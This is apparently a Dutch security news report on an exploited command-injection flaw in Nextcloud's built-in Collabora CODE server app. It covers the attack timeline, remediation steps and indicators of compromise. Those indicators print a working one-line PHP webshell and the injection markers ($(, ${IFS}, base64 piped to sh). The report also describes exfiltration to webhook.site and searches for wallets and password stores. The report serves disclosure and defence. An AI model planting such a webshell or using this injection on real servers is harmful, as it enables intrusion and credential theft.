Aanvallers misbruikten een kwetsbaarheid in een optionele Nextcloud-app, Collabora Online – Built-in CODE Server, om webshells op Nextcloud-servers te plaatsen. Drie beheerders meldden het probleem op GitHub; de eerste gedocumenteerde aanval vond plaats op 10 september.
Een webshell is een klein bestand dat elk commando uitvoert dat een aanvaller via een webverzoek stuurt, met de rechten van het webserver-account. De kwetsbaarheid maakt het mogelijk dat een ongeauthenticeerd verzoek een commando op de server uitvoert, maar alleen wanneer de lokale documentserver van de app niet draait — bijvoorbeeld tijdens een herstart, upgrade of na een crash.
Collabora repareerde het in versie 26.4.303 op 11 september en publiceerde op 14 oktober een advies met het identificatienummer CVE-2026-110447, met de waarschuwing dat het uitschakelen van de app niet helpt: de app moet worden geüpdatet of verwijderd.
Wie is getroffen
De app, gepubliceerd door Collabora onder de pakketnaam richdocumentscode, downloadt een kopie van Collabora Online Development Edition (CODE) en draait die op de Nextcloud-server zelf.
Dat maakt het mogelijk documenten te bewerken met Nextcloud Office zonder een aparte Collabora-server. De vermelding in de appstore geeft aan dat de app “voor lokaal testen en niet-productief gebruik” is en “voor persoonlijk gebruik of voor kleine teams”.
Het advies van Collabora bestrijkt alle versies vóór 26.4.303 en stelt dat zelfstandige Collabora Online-servers niet kwetsbaar zijn. Een waarschuwing op het Nextcloud-communityforum op 3 oktober stelde dat een installatie niet kwetsbaar is als alleen de Nextcloud Office-app (richdocuments) wordt gebruikt zonder de ingebouwde app, ongeacht of de Collabora-server in Docker draait, via een Linux-pakket is geïnstalleerd of bij een hostingprovider wordt gehost.
Het proxy.php-script van de app start de lokale CODE-server telkens wanneer een verzoek binnenkomt en er niets luistert. In versies tot en met 26.4.302 plaatste dat script tekst uit het verzoek, inclusief het pad, in een dubbelgeciteerd bash-commando, waarbij de shell nog steeds alles uitvoert dat als $(…) is geschreven.
Een verzoek met een commando verborgen in het pad draaide dat commando als de webservergebruiker. Omdat het script dat commando alleen opbouwt wanneer het de server moet starten, werkt de aanval alleen terwijl de server uit staat, zoals tijdens een containerherstart, een upgrade of een crash.
Het script is een eenvoudig PHP-bestand dat de webserver rechtstreeks vanuit de app-map uitvoert en geen Nextcloud-code laadt.
“Het is niet voldoende om de app uit te schakelen om het probleem te vermijden; deze moet worden bijgewerkt naar >= 26.4.303 of worden verwijderd,” zei Collabora in het advies.
De gerepareerde versies vereisen Nextcloud 30 of nieuwer.
Nextcloud 29 en ouder zijn end-of-life en de appwinkel levert voor die versies nog steeds een aangetaste versie, dus hun gebruikers moeten Nextcloud bijwerken of de app verwijderen. De fix van Collabora voor een afzonderlijke command-injectiekwetsbaarheid in hetzelfde script, CVE-2025-66208, openbaar gemaakt in december vorig jaar, voorkomt deze nieuwe kwetsbaarheid niet.
Wat de aanvallers deden
Het eerste rapport kwam van een beheerder die meerdere Nextcloud-servers host en op GitHub schreef dat de servers sinds de dag ervoor waren gehackt. Toegangslogbestanden van twee van die servers tonen verzoeken om 19:51 op 10 september en 09:56 op 11 september (UTC+2), beide vanaf hetzelfde IP-adres en beide gericht op proxy.php?status met een shell-commando verborgen in het verzoekpad. Alle servers van die beheerder draaiden versie 26.4.302.
Het commando decodeerde een eentregelige PHP-webshell in de app-map en probeerde de uitvoer van uname -a naar een webhook.site-adres te sturen. Op één server gebruikte de aanvaller vervolgens de shell om te zoeken naar credential stores en cryptocurrency-wallets, waaronder *.kdbx, wallet.dat en keystore.json-bestanden en namen zoals bitwarden, 1password, .bitcoin, .electrum, .monero en .ethereum.
De bekeken verzoeken toonden geen commando’s die bestanden archiveerden, uploadden of wegkopieerden, maar alles wat het webserveraccount kan lezen moet als mogelijk blootgesteld worden beschouwd, schreef de beheerder.
Twee andere beheerders rapporteerden hetzelfde op hun eigen instanties. De één vond de shell toen Nextcloud’s integriteitscontrole een nieuw PHP-bestand ontdekte; de ander vernam de inbraak door e-mails over mislukte sudo-pogingen op de server. Geen van de meldingen toont dat de aanvaller root-toegang heeft verkregen.
Nadat was geüpdatet naar 26.4.303 noteerde één van hen op 14 september een andere poging vanaf een tweede IP-adres met een payload van hetzelfde soort. De CODE-server die werd gestart droeg de aanvallende tekst in zijn opstartopties, maar er verscheen geen nieuw shell-bestand. De uitvoer “ziet er eng uit maar zou onschadelijk moeten zijn”, antwoordde mmeeks, die voor het project in de thread reageerde en gebruikers opdroeg te updaten en achtergebleven shx*.php-bestanden te verwijderen.
Het CVE-record beschrijft de kwetsbaarheid als “in het wild misbruikt in september en oktober 2026.” Hoeveel servers zijn geraakt is niet bekend. “Dit treft alleen de Development Edition, en alleen in deze (tamelijk zeldzamere) Built-in CODE Server-deploymentsmodus die een lokale appimage downloadt,” schreef mmeeks.
Wat u nu moet doen
Acties, in volgorde:
- Werk richdocumentscode bij (in Nextcloud’s app-lijst zichtbaar als Collabora Online – Built-in CODE Server) naar 26.4.303 of later, of verwijder de app. Het uitschakelen van de app in Nextcloud verhelpt de kwetsbaarheid niet.
- Op Nextcloud 29 of ouder, dat 26.4.303 niet kan installeren: upgrade Nextcloud of verwijder de app.
- Als u al hebt bijgewerkt, zoek naar shx*.php-bestanden, beginnend in apps/richdocumentscode, en verwijder ze. Controleer daarna uw toeganglogs tot minstens 10 september op proxy.php?status-verzoeken waarvan het pad %2e%2e, $( of ${IFS} bevat, en zoek naar sudo-pogingen door het webserveraccount. Behandel alles wat dat account kon lezen als mogelijk blootgesteld, zoals de eerste melder adviseerde.
- Versie 26.4.402, uitgebracht op 24 september, herschreef het opstartcommando zodat elke optie als afzonderlijk argument wordt doorgegeven, maar beheerders melden dat die versie op sommige omgevingen niet start of geen documenten kan openen en zijn teruggekeerd naar 26.4.303, de versie die het advies als de oplossing noemt. Op 14 oktober was geen nieuwere release verschenen.
Indicatoren uit de logbestanden van de beheerders:
- Bestand:
shrf4645.php,shxa35d0.php,shx5cf91.php,shxd33ce.phpenshxf4645.php, gevonden inapps/richdocumentscode/op de servers van de eerste melder - Bestand:
shx13a86.php, gevonden door een tweede beheerder (locatie niet vermeld) - Bestand:
shx56367.php, de naam in de poging van 14 september die geen bestand creëerde - SHA-256:
4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562, de eentregelige shell<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2&1');?> - Pad:
/apps/richdocumentscode/proxy.php?status - IP:
139.28[.]18[.]122(aanvallen 10 en 11 september),89.38[.]98[.]50(poging 14 september tegen een gepatchte server) - Aanvraagmarkers:
%2e%2e,$(,${IFS}, enbase64 -dgepiped naarsh, allemaal in het verzoekpad - Domein:
webhook[.]site, een publieke dienst, met callback IDs45060ed4-de0b-4119-8f0d-2a2776bbd413en774cf5e1-b5a4-4174-a1ad-0241861029a2
Een oplossing die verscheen zonder beveiligingsmelding
De codewijziging die de kwetsbaarheid dichtte, is vier regels in proxy.php. Het startcommando wordt nu aan bash doorgegeven als één ontsnapt argument in plaats van als een dubbelgeciteerde string, zodat de shell die het ontvangt geen tekst uit het verzoek meer uitbreidt.
Het commit-archief van de repository toont dat de wijziging op 20 augustus door Caolán McNamara is geschreven, die ook het advies publiceerde, onder de titel “tidy up how the coolwsd launch command is built.” Het stond niet in versie 26.4.302, uitgebracht op 31 augustus, en werd op 9 september gecommit. De eerste geregistreerde aanval vond plaats op 10 september en 26.4.303 volgde op 11 september met release-opmerkingen die alleen de gebundelde CODE-build noemen.
De beheerder die de aanvallen rapporteerde had de app uitgeschakeld terwijl hij op een fix wachtte — een stap die het advies nu zegt niet voldoende is. In de thread vroeg mmeeks gebruikers te updaten, beloofde “meer updates in due course” en wees op een “recordachterstand” in GitHub’s advisories-database, met een link naar een juni-post waarin GitHub aangaf dat de verwerking weken achterliep.
Op 3 oktober waarschuwde een lid van het Nextcloud-communityforum andere gebruikers direct te updaten omdat de kwetsbaarheid “al werd misbruikt” en “er nog geen waarschuwing of CVE was gepubliceerd.” De CVE en het advies verschenen op 14 oktober. Het advies vermeldt een GitHub-gebruiker, wwwshellcodeit, als melder; noch die gebruiker noch de forumthread geven aan wanneer het rapport precies is ingediend of wanneer Collabora ontdekte dat de wijziging een beveiligingsfix betrof.
